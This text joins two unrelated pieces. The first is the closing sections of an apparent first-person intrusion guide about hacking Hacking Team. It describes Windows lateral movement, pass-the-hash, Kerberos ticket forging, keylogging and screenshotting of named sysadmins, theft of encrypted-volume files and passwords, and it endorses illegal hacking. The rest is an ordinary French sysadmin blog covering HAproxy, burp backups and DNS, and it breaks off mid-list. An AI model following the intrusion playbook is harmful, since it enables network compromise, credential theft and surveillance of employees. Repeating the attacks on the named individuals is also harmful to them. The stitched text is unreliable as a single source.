   hash, not the password. It's the most universal method (it works on any
   windows computer with port 445 open), but it's also the least stealthy.
   Event type 7045 "Service Control Manager" will appear in the event logs. In
   my experience, no one has ever noticed during a hack, but it helps the
   investigators piece together what the hacker did afterwards.

2) WMI

   The most stealthy method. The WMI service is enabled on all windows
   computers, but except for servers, the firewall blocks it by default. You
   can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
   pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
   wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

   It's disabled by default, and I don't recommend enabling new protocols.
   But, if the sysadmin has already enabled it, it's very convenient,
   especially if you use powershell for everything (and you should use
   powershell for almost everything, it will change [11] with powershell 5 and
   windows 10, but for now powershell makes it easy to do everything in RAM,
   avoid AV, and leave a small footprint)

4) Scheduled Tasks

   You can execute remote programs with at and schtasks [5]. It works in the
   same situations where you could use psexec, and it also leaves a well known
   footprint [12].

5) GPO

   If all those protocols are disabled or blocked by the firewall, once you're
   Domain Admin, you can use GPO to give users a login script, install an msi,
   execute a scheduled task [13], or, like we'll see with the computer of
   Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
   open the firewall.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py


"In place" Movement:

1) Token Stealing

   Once you have admin access on a computer, you can use the tokens of the
   other users to access resources in the domain. Two tools for doing this are
   incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

   You can take advantage of a validation bug in Kerberos to generate Domain
   Admin tickets [3][4][5].

3) Pass the Hash

   If you have a user's hash, but they're not logged in, you can use
   sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

   Any RAT can inject itself into other processes. For example, the migrate
   command in meterpreter and pupy [6], or the psinject [7] command in
   powershell empire. You can inject into the process that has the token you
   want.

5) runas

   This is sometimes very useful since it doesn't require admin privileges.
   The command is part of windows, but if you don't have a GUI you can use
   powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1


----[ 13.2 - Persistence ]------------------------------------------------------

Once you have access, you want to keep it. Really, persistence is only a
challenge for assholes like Hacking Team who target activists and other
individuals. To hack companies, persistence isn't needed since companies never
sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
high-uptime servers. On the off chance that they all reboot at the same time,
I have passwords and a golden ticket [1] as backup access. You can read more
about the different techniques for persistence in windows here [2][3][4]. But
for hacking companies, it's not needed and it increases the risk of detection.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/


----[ 13.3 - Internal reconnaissance ]------------------------------------------

The best tool these days for understanding windows networks is Powerview [1].
It's worth reading everything written by it's author [2], especially [3], [4],
[5], and [6]. Powershell itself is also quite powerful [7]. As there are still
many windows 2000 and 2003 servers without powershell, you also have to learn
the old school [8], with programs like netview.exe [9] or the windows builtin
"net view". Other techniques that I like are:

1) Downloading a list of file names

   With a Domain Admin account, you can download a list of all filenames in
   the network with powerview:

   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

   Later, you can read it at your leisure and choose which files to download.

2) Reading email

   As we've already seen, you can download email with powershell, and it has a
   lot of useful information.

3) Reading sharepoint

   It's another place where many businesses store a lot of important
   information. It can also be downloaded with powershell [10].

4) Active Directory [11]

   It has a lot of useful information about users and computers. Without being
   Domain Admin, you can already get a lot of info with powerview and other
   tools [12]. After getting Domain Admin, you should export all the AD
   information with csvde or another tool.

5) Spy on the employees

   One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
   (one of Hacking Team's sysadmins) gave me access to a Nagios server which
   gave me access to the rete sviluppo (development network with the source
   code of RCS). With a simple combination of Get-Keystrokes and
   Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
   [14], and GPO, you can spy on any employee, or even on the whole domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang


--[ 14 - Hunting Sysadmins ]----------------------------------------------------

Reading their documentation about their infrastructure [1], I saw that I was
still missing access to something important - the "Rete Sviluppo", an isolated
network with the source code for RCS. The sysadmins of a company always have
access to everything, so I searched the computers of Mauro Romeo and Christian
Pozzi to see how they administer the Sviluppo network, and to see if there
were any other interesting systems I should investigate. It was simple to
access their computers, since they were part of the windows domain where I'd
already gotten admin access. Mauro Romeo's computer didn't have any ports
open, so I opened the port for WMI [2] and executed meterpreter [3]. In
addition to keylogging and screen scraping with Get-Keystrokes and
Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
[4], and searched for interesting files [5]. Upon seeing that Pozzi had a
Truecrypt volume, I waited until he'd mounted it and then copied off the
files. Many have made fun of Christian Pozzi's weak passwords (and of
Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
included them in the leak as a false clue, and to laugh at him. The reality is
that mimikatz and keyloggers view all passwords equally.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/


--[ 15 - The bridge ]-----------------------------------------------------------

Within Christian Pozzi's Truecrypt volume, there was a textfile with many
passwords [1]. One of those was for a Fully Automated Nagios server, which had
access to the Sviluppo network in order to monitor it. I'd found the bridge I
needed. The textfile just had the password to the web interface, but there was
a public code execution exploit [2] (it's an unauthenticated exploit, but it
requires that at least one user has a session initiated, for which I used the
password from the textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78


--[ 16 - Reusing and resetting passwords ]--------------------------------------

Reading the emails, I'd seen Daniele Milan granting access to git repos. I
already had his windows password thanks to mimikatz. I tried it on the git
server and it worked. Then I tried sudo and it worked. For the gitlab server
and their twitter account, I used the "forgot my password" function along with
my access to their mail server to reset the passwords.


--[ 17 - Conclusion ]-----------------------------------------------------------

That's all it takes to take down a company and stop their human rights abuses.
That's the beauty and asymmetry of hacking: with 100 hours of work, one person
can undo years of work by a multi-million dollar company. Hacking gives the
underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is for
educational purposes only, be an ethical hacker, don't attack systems you
don't have permission to, etc. I'll say the same, but with a more rebellious
conception of "ethical" hacking. Leaking documents, expropriating money from
banks, and working to secure the computers of ordinary people is ethical
hacking. However, most people that call themselves "ethical hackers" just work
to secure those who pay their high consulting fees, who are often those most
deserving to be hacked.

Hacking Team saw themselves as part of a long line of inspired Italian design
[1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
and government, as part of a long tradition of Italian fascism. I'd like to
dedicate this guide to the victims of the raid on the Armando Diaz school, and
to all those who have had their blood spilled by Italian fascists.

[1] https://twitter.com/coracurrier/status/618104723263090688


--[ 18 - Contact ]--------------------------------------------------------------

To send me spear phishing attempts, death threats in Italian [1][2], and to
give me 0days or access inside banks, corporations, governments, etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----



                      If not you, who? If not now, when?
                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

CEPH jewel is out

Fri, 22 Apr 2016 10:52:19 +0000

La version 10.2.0 de CEPH est sortie il y a quelques jours avec une bonne nouvelle, CEPHFS est stable et prêt pour la production.

CEPHFS est a mon sens une brique fonctionnelle qui manquait rendre CEPH plus versatile et faire accélérer son adoption.

Le support de RHEL6 est abandonné a partir de cette version.

Plus d’info sur la release note:

http://ceph.com/releases/v10-2-0-jewel-released/

twitter et les images

Fri, 22 Apr 2016 10:12:30 +0000

olé,

highscalability a publié un post intéressant sur la façon dont twitter gère les images, les problématiques rencontrées et les améliorations apportées.

http://highscalability.com/blog/2016/4/20/how-twitter-handles-3000-images-per-second.html

HAproxy 1.6 sur debian 8 avec keepalived

Mon, 19 Oct 2015 08:39:05 +0000

HAproxy 1.6 is out !
Parlons de son installation avec keepalived qui va gerer noter bascule de VIP.
Keepalived va s’occuper de la bascule de VIP via VRRP.

installation des paquets

Installons HAproxy 1.6 grace aux dépots de http://haproxy.debian.net/

$ apt install keepalived haproxy

Autorisons linux à utiliser une adresse non localement configurée


$ echo "net.ipv4.ip_nonlocal_bind=1" >> /etc/sysctl.conf
$ sysctl -p

keepalived configuration, /etc/keepalived/keepalived.conf
Le fichier de configuration est commenté avec les information de la manpage que je vous invite a lire.

Sur le noeud maître:


# global definitions
global_defs {
}

# healthcheck of HAproxy
vrrp_script check_haproxy {
        script "killall -0 haproxy" # killall is faster
        interval 2 # in sec
        weight 2   #
}

# vrrp instance definition
vrrp_instance vrrp_01 {
        state MASTER
        interface eth0
        virtual_router_id 10 # used to differentiate multiple instances of vrrpd running on the same NI
        priority 150         # to be MASTER, make 50 more than other machines. priority 100
        use_vmac             # Use VRRP Virtual MAC - will create a vrrp.10 iface
        # authentication to access vrrpd
        authentication {
                auth_type PASS
                auth_pass testpass
        }
        # vip on wich HAproxy run
        virtual_ipaddress {
                192.168.122.10
                192.168.122.9
        }
        # healthcheck to use
        track_script {
                check_haproxy
        }
}

Peu de différences pour la configuration du noeud esclave (slave state et priority):


 definitions
global_defs {
}

# healthcheck of HAproxy
vrrp_script check_haproxy {
    script "killall -0 haproxy" # killall is faster
    interval 2 # in sec
    weight 2   #
}

# vrrp instance definition
vrrp_instance vrrp_01 {
    state SLAVE
    interface eth0
    virtual_router_id 10 # used to differentiate multiple instances of vrrpd running on the same NI
    priority 50          # to be MASTER, make 50 more than other machines. priority 100
    use_vmac             # Use VRRP Virtual MAC - will create a vrrp.10 iface
    # authentication to access vrrpd
    authentication {
        auth_type PASS
        auth_pass testpass
    }
    # vip on wich HAproxy run
    virtual_ipaddress {
        192.168.122.10
        192.168.122.9
    }
    # healthcheck to use
    track_script {
        check_haproxy
    }
}

HAproxy configuration
Utiliser la même configuration sur tous vos noeuds est chaudement recommandé ;-)

Je vous laisse découvrir HAproxy si vous ne connaissez pas déjà ce formidable logiciel !
Je décris ici une configuration simpliste pour tester notre configuration de keepalived:

frontend f_vrrp10_svc
 bind 192.168.122.10:80
 default_backend b_webfarm
 
backend b_webfarm
 server srv1 192.168.122.21:80 check
 server srv2 192.168.122.22:80 check
 server srv3 192.168.122.23:80 check

Ce post est inspiré par cet article.
http://dasunhegoda.com/how-to-setup-haproxy-with-keepalived/833/

HAproxy 1.6 est sorti

Wed, 14 Oct 2015 15:39:47 +0000

HAproxy est sorti hier en version 1.6. 16 mois et 1156 commits après la version 1.5.

Au menu des nouveautés on trouve principalement la possibilité de scripter en LUA ou de lancer des scripts externes de health check pour obtenir un état de l’application via des requêtes plus complexes qu’auparavant.

Par ici pour une liste plus détaillée des nouveautés.

livecoding.tv le twitch de la programmation

Sun, 20 Sep 2015 18:55:16 +0000

Les joueurs connaissent déjà twitch qui permet de diffuser ses parties sur le net, il y a désormais la même chose pour les programmeurs.

Sur https://www.livecoding.tv/ les programmeurs peuvent diffuser des sessions de code et les commenter après avoir téléchargé ‘open broadcaster software’.
Malheureusement il n’est disponible que pour MAC et windows

Les spectateurs peuvent filtrer selon le type de programme et la difficulté.

Le logiciel n’est pas disponible pour linux et les streams sont en flash mais on peut saluer l’initiative.

burp : la sauvegarde simple qui juste marche

Sat, 12 Sep 2015 22:53:22 +0000

Cette fois, je vais parler sauvegarde avec le logiciel burp. Je vous laisse vous référer au site officiel pour en apprendre plus sur les raisons du démarrage de ce projet par Graham Keeling. Burp est basé sur librsync, ce qui lui permet d’être très efficace sur les sauvegardes différentielles.

Des points intéressants de ce logiciel sont que le client fonctionne sur linux/mac/windows, qu’il est très simple à mettre en place. Par exemple, le client et le serveur sont dans le même binaire, il y a très peu de dépendances etc.

Autre point important pour mon cas d’usage qui comprend des ordinateurs portables qui ne sont pas toujours présents sur le réseau: c’est le client qui vient demander au serveur s’il est temps pour lui de se sauvegarder.

Concrètement, il s’agit d’un cron qui se lance régulierement pour interroger le serveur. Selon la politique de sauvegarde définie et la date de la dernière sauvegarde, le serveur autorise la sauvegarde ou non. Le script de calcul coté serveur est bien sur configurable et modifiable.

Je vais rapidement dérouler l’installation et la sauvegarde du premier client sur Debian.

Installation du server et du client :
apt install burp

Sur le serveur, autoriser le démon à se lancer en mettant RUN=yes dans /etc/default/burp

La configuration du serveur se fait dans /etc/burp/burp-server.conf
L’ajout d’un client se passe simplement, il faut une configuration sur le serveur et une sur le client avec un mot de passe commun.

Exemple sur le serveur dans /etc/burp/clientconfdir/client_test
password = passbkp

Exemple sur le client dans /etc/burp/burp.conf

mode = client 
port = 4971
server = 10.0.0.1
password = passbkp
cname = client_test

Bien sur il ne faut pas oublier de modifier le reste du fichier pour limiter le débit si necessaire et ajuster les inclusions et exclusions.

A la première communication, le serveur va verifier le mot de passe puis signer le certificat X509 généré par le client, cela servira à chiffrer les communications par la suite.

un rapide burp -a b pour lancer la premiere sauvegarde, puis l’ajout de burp -a t en cron et c’est fini !

Après la première sauvegarde, cela va assez vite car burp inventorie les metadonnées des fichiers à sauvegarder puis les compare aux métadonnées de la derniere sauvegarde du serveur.
Cela lui permet de ne sauvegarder que les fichiers ajoutés et pour les fichiers modifiés, seuls les blocs modifiés sont transmis.

Une interface de visualisation est disponible depuis le serveur :
burp -c /etc/burp/burp-server.conf -a s

Ziirish à lancé un projet d’interface web de monitoring et de configuration pour burp. Ça se passe ici pour ceux qui veulent tester : https://git.ziirish.me/ziirish/burp-ui

Au moment de tester les restaurations, c’est amusant de voir que les regex sont utilisées pour selectioner les fichiers ou repertoires à remonter. C’est vraiment pratique.

Exemple pour restaurer un fichier depuis le backup numéro 1 dans le repertoire /tmp/
burp -a r -b 1 -r fichier$ -d /tmp/

C’est KISS non ? 🙂

En bonus voici les infos qu’on trouve pour résumer l’état d’un backup.

--------------------------------------------------------------------------------<
Start time: 2015-09-11 19:27:01
End time: 2015-09-11 19:28:08
Time taken: 01:07
                         New   Changed Unchanged   Deleted     Total |  Scanned
                   ------------------------------------------------------------
            Files:        15        59         0         0        74 |    48610
        Meta data:         0         0         0         0         0 |        1
      Directories:         0         0         0         0         0 |     6002
       Soft links:         0         0         0         0         0 |       56
    Special files:         0         0         0         0         0 |        2
      Grand total:        15        59         0         0        74 |    54671
                   ------------------------------------------------------------

 Warnings: 1

 Bytes estimated: 213898414380 (199.21 GB)  
 Bytes in backup: 110569423 (105.45 MB)  
 Bytes received: 0  
 Bytes sent: 23859722 (22.75 MB)  
--------------------------------------------------------------------------------

13 ans déjà

Fri, 28 Aug 2015 16:50:00 +0000

Il y a 13 ans, j’installais ma premiere distribution, et avec elle je m’essayais à la configuration de XFree86 et à la compilation de noyau pour avoir le bon driver de carte réseau :-)

C’était une slackware 8.2… en 2002, cela fait 13 ans déjà!

La découverte de swaret a changé ma vie grâce à la gestion des dépendances. À moi la simplifitude !
Ensuite mandrakelinux qui m’a servi de gateway pendant un moment grâce au driver speedtouch de Benoit Papillaud, puis debian sur des serveurs @home. Une premiere grosse boulette, un « rm -rf /usr » en voulant « rm -rf usr ».. dans un chroot, raté !

Heureusement, le vieux lecteur de DAT qui assurait la sauvegarde a également assuré la restauration !

Puis s’en est suivie la découverte de gentoo et de son installation bien plus manuelle que les autres.
C’est une distribution réellement modulaire et très didactique. Après des années en ~arch sur une gentoo 2004, retour sur debian et passage sur redhat en entreprise.

D’ailleurs c’est amusant de voir le parcours de chacun, jeune et moins jeune.
En particulier le parcours des moules de linuxfr.

Du coté des window manager, c’est encore moins éclectique. J’ai rapidement choisi fluxbox pour sa rapidité et sa simplicité et suis vite passé sous enlightenment DR17 que j’utilise toujours depuis.

C’était mon moment nostalgie, j’en ai terminé merci 🙂

Les DNS menteurs contre T411 et les autres

Sat, 08 Aug 2015 16:12:43 +0000

Depuis peu, le site www.t411.io est devenu indisponible aux internautes des principaux FAI.

Le principe de blocage est simple. Quand vous demandez l’adresse du site t411.io, le DNS de votre FAI préféré vous renvoie votre propre adresse au lieu de vous communiquer celle du site.

Cette méthode à déjà été utilisée pour bloquer thepiratebay et est également utilisée par free pour son blocage de publicité sur la freebox révolution.

Exemple de ce que nous renvoient en ce moment les DNS de free:

jc@darkstar2:~# dig +short www.t411.io
127.0.0.1

Alors qu’avec un DNS neutre ça donne plutot :

jc@darkstar2:~# dig +short www.t411.io
t411.io.
108.162.203.254
108.162.204.254

Au delà de la légalité de ces sites, il se pose le problème de la neutralité du net.
Un FAI peut utiliser des DNS menteurs pour n’importe quelle raison, pas forcément sur requète judiciaire. Vous accedez donc à un internet non neutre, biaisé par le FAI.

Si vous ne voulez plus que free, orange, bouygues ou sfr décident de ce qu’il faut aller voir ou pas, il suffit d’utiliser des DNS ouverts et neutres, qu’il tournent chez vous ou opérés par d’autres.
Et pas question d’utiliser les DNS de google bien connus de tout le monde mais qui se servent de vos requètes pour vous tracer encore un peu plus et collecter plus de données à l’échelle mondiale. Ils ont beau être ouverts, l’utilisation des données récoltée n’est pas neutre. Pas question non plus d’utiliser openDNS qui sont aussi des menteurs :-)

L’association FDN (French Data Network) fait tourner des DNS garantis avec de la neutralité dedans.
Voici l’adresse IPV4:
80.67.169.12
et l’adresse IPV6:
2001:910:800::12

La meilleure solution reste toutefois de faire tourner son propre DNS. J’utilise powerdns-recursor depuis plusieurs années et j’en suis satisfait. PDNS est aussi utilisable en master.

Un service de résolution DNS @home, ça peut etre un cas d’usage d’un raspberry pie par exemple.

En bonus deux lectures intéressantes du prolix S.Bortzmeyer:
http://www.bortzmeyer.org/dns-menteur.html
http://www.bortzmeyer.org/opendns-non-merci.html

Amazon EFS le NFS as a service

Thu, 09 Jul 2015 08:13:29 +0000

Un article intéressant publié il y a 8 jours sur elastic file system.

C’est un cas d’usage simple mais complet qui permet de présenter ce nouveau service.

Efs est un NFS as a service utilisable sur ec2 ce qui complète l’offre stockage fournie par s3 et permettant d’heberger des applications ne gérant pas le stockage objet.

http://blog.osones.com/on-a-teste-amazon-elastic-file-system-efs.html

Problème de touchscreen sur oneplus one

Fri, 03 Jul 2015 23:19:48 +0000

Mon one plus one était serieusement touché par le problème de touchscreen, constaté aussi avec l’appli ‘ScreenTouchTest’.

La goutte d’eau a été quand il passait des appels ou tapait des sms tout seul 🙂
Je m’étais dis que j’allais le laisser stock, juste rooté mais finalement j’ai du le mettre a jour en CM12 nightly pour régler le soucis.

C’est désormais de l’histoire ancienne.
CM 12 pour one plus one

Android 4.4 kitkat update on nexus 4 error

Sat, 23 Nov 2013 11:43:19 +0000

Hier matin mon nexus 4 me propose la mise à jour vers android 4.4.
L’update se télécharge au bout de 3 essais, le téléphone redémarre et plante avant de finir la mise à jour.

J’ai du réinstaller manuellement la ROM en unlockant le bootloader (ce qui efface les données du téléphone). Dans mon cas ce n’est pas très gènant car mes fichiers sont envoyés sur mon instance owncloud via l’application téléchargée sur F-droid.

prérequis

Pour debian Jessie, j’ai pris le dernier SDK en date : adt-bundle-linux-x86_64-20131030.zip
La ROM pour Nexus 4 : occam-krt16s-factory-2006f418.tgz

Push de la ROM

Ajouter les binaires du SDK dans le PATH

export PATH=$PATH:/home/user/android/adt-bundle-linux-x86_64-20131030/sdk/platform-tools

Installation de la ROM

Pour ceux qui ne souhaitent pas effacer le contenu de leur téléphone, il faut éditer le fichier flash-all.sh et retirer l’option -w de la commande fastboot.

root@darkstar:/home/user/android/occam-krt16s# ./flash-all.sh
sending 'bootloader' (2203 KB)...
OKAY [ 0.072s]
writing 'bootloader'...
OKAY [ 0.319s]
finished. total time: 0.391s
rebooting into bootloader...
OKAY [ 0.001s]
finished. total time: 0.001s
sending 'radio' (45537 KB)...
OKAY [ 1.436s]
writing 'radio'...
OKAY [ 2.594s]
finished. total time: 4.030s
rebooting into bootloader...
OKAY [ 0.001s]
finished. total time: 0.001s
archive does not contain 'boot.sig'
archive does not contain 'recovery.sig'
archive does not contain 'system.sig'
--------------------------------------------
Bootloader Version...: MAKOZ30d
Baseband Version.....: M9615A-CEFWMAZM-2.0.1700.98
Serial Number........: XXXXXXXXXXXXX
--------------------------------------------
checking product...
OKAY [ 0.002s]
checking version-bootloader...
OKAY [ 0.002s]
checking version-baseband...
OKAY [ 0.002s]
sending 'boot' (6360 KB)...
OKAY [ 0.204s]
writing 'boot'...
OKAY [ 0.362s]
sending 'recovery' (6908 KB)...
OKAY [ 0.240s]
writing 'recovery'...
OKAY [ 0.407s]
erasing 'system'...
OKAY [ 1.401s]
sending 'system' (700496 KB)...
OKAY [ 22.050s]
writing 'system'...
FAILED (status read failed (No such device))
finished. total time: 61.658s

Malgré l’erreur, ça c’est bien passé et le téléphone a redémarré sur la nouvelle version d’Android.

debian wheezy dpkg: error processing forked-daapd

Thu, 09 May 2013 17:40:48 +0000

Une machine sous debian testing fraichement passée en wheezy a quelques soucis de mise à jour à cause de forked-daapd.

Setting up forked-daapd (0.19gcd-dmo1) ...
Starting RSP and DAAP media server: invoke-rc.d: initscript forked-daapd, action "start" failed.
dpkg: error processing forked-daapd (--configure):
subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
forked-daapd
E: Sub-process /usr/bin/dpkg returned an error code (1)
A package failed to install.  Trying to recover:
Setting up forked-daapd (0.19gcd-dmo1) ...
Starting RSP and DAAP media server: invoke-rc.d: initscript forked-daapd, action "start" failed.
dpkg: error processing forked-daapd (--configure):
subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
forked-daapd

Il a suffit de killer le processus /usr/sbin/forked-daapd et de relancer l’installation du paquet pour que tout soit OK.

Pour une fois c’était presque trop simple.

Changement de serveur

Mon, 30 Jul 2012 23:41:06 +0000

Pour ceux qui utilisent les services mail/jabber/irc, je suis en train de procéder au changement du serveur.

Les principaux sites web ainsi que les comptes email ont été migrés, ce soir aura lieu le déménagement du serveur jabber. Il pourra y avoir des perturbations le temps de la mise à jour, soyez patients :-)

Le reste des services suivra durant la semaine.

Active version of CPython 3 is not supported by dev-python/dbus-python-1.1.1

Wed, 25 Jul 2012 20:52:10 +0000

Il y a quelques jours, je me suis fait agresser par ma gentoo a la mise à jour de dev-python/dbus-python:

>>> Emerging (1 of 1) dev-python/dbus-python-1.1.1
 * dbus-python-1.1.1.tar.gz SHA256 SHA512 WHIRLPOOL size ;-) ...                        [ ok ]
 * ERROR: dev-python/dbus-python-1.1.1 failed (setup phase):
 *   Active version of CPython 3 is not supported by dev-python/dbus-python-1.1.1
 *

Il suffit de :

eselect python update --python2
eselect python update --python3

pour utiliser la dernière version de python sur chaque branche. Ensuite, on peut recompiler dev-python/dbus-python :-)

Solution trouvée sur le forum gentoo, toujours aussi actif.

RHEL extension de LUN

Thu, 22 Sep 2011 16:24:50 +0000

On me dit que je suis mort et qu’il ne se passe rien ici, que nenni !

Pour la peine, je post ici un bloc note qui pourra servir à certains.. ou pas.

Ça peut être pratique de procéder a une extension de LUN si la baie de stockage le gère correctement. Par exemple, une VNX toute neuve fait cela très bien.

Coté systeme, il faut gerer le resize des disques pour chaque chemin et du device « multipathé ».

for i in multipath -ll mpathX | awk ‘/sd./ {print $3}’; do blockdev --rereadpt /dev/$i ; done

Puis, il faut rescanner les chemins, soit avec en lancant simplement multipath soit en utilisant le démon multipathd multipathd -k"resize multipath mpathX"

Ensuite, il suffit de retailler le FS s’il est directement sur le device ou le physical volume si vous utilisez LVM.

Ce sera tout merci.

Les EFL sorties en version 1 !

Tue, 01 Feb 2011 05:51:38 +0000

Les EFL ou Enlightenment Foundation Library sont sorties en version finale le 29 janvier. Après de longues années de developpement, plusieurs réécritures et beaucoup de moqueries sur la date de sortie, elles sont enfin la 🙂

Les EFL sont les bibliothèques sur lesquels repose entre autre e17, elles sont optimisées pour l’embarqué.
Voici un statut des versions des EFL :

Eina – 1.0.0
